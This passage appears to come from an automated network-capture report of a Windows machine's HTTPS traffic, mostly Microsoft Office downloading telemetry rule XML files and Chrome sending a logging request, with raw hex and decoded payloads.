35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:25 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090725Z-164f84587bf7jb9dhC1DFWkay400000003sg000000004rs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090726Z-164f84587bfrrmqdhC1DFWvu6s00000002tg0000000011by x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:26 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090726Z-164f84587bfn7ppchC1DFW0meg00000003c000000000e52u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:26 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090726Z-16547b76f7fp6s5dhC1DFWe28g000000017g00000000ep8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090726Z-1866b5c5fbbzzh8chC1DFWdrc400000003r0000000009s8f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090726Z-16547b76f7fsq6p7hC1DFWfx6800000002gg000000008b3p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49801	142.250.185.174	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 09:07:26 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 38 33 34 34 34 33 36 33 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731834443637",null,null,null,
2024-11-17 09:07:27 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=oAQKoiTx1ojRXEcSIDgDnRj3rqc2Nd7oKl_P6ttdrAjv5ii3px1E_3H2v9D6EVodz8aNVkWFA7plWoCb63kbBio5ex1G-UbiEfgWRT1vzgU0jULKtbTaQOpqpGmxmoocbAMrP2XvDxYcUAaONB-zucomUQ6w1T1YceSbig7ILXXOQpWc2nRyyKs; expires=Mon, 19-May-2025 09:07:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sun, 17 Nov 2024 09:07:26 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sun, 17 Nov 2024 09:07:26 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-17 09:07:27 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-17 09:07:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49804	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 09:07:27 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=27482 Date: Sun, 17 Nov 2024 09:07:27 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:27 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090727Z-1866b5c5fbbr78bbhC1DFWqz2n0000000460000000009c8n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:27 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090727Z-16547b76f7fkz9l7hC1DFW35uc000000013g00000000aw21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:27 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:27 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090727Z-16547b76f7fk9g8vhC1DFW825400000004tg000000009t29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:27 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:27 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 78f9d12a-601e-0070-27c4-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090727Z-1866b5c5fbbpxkkxhC1DFWhvmc00000004c00000000064v4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
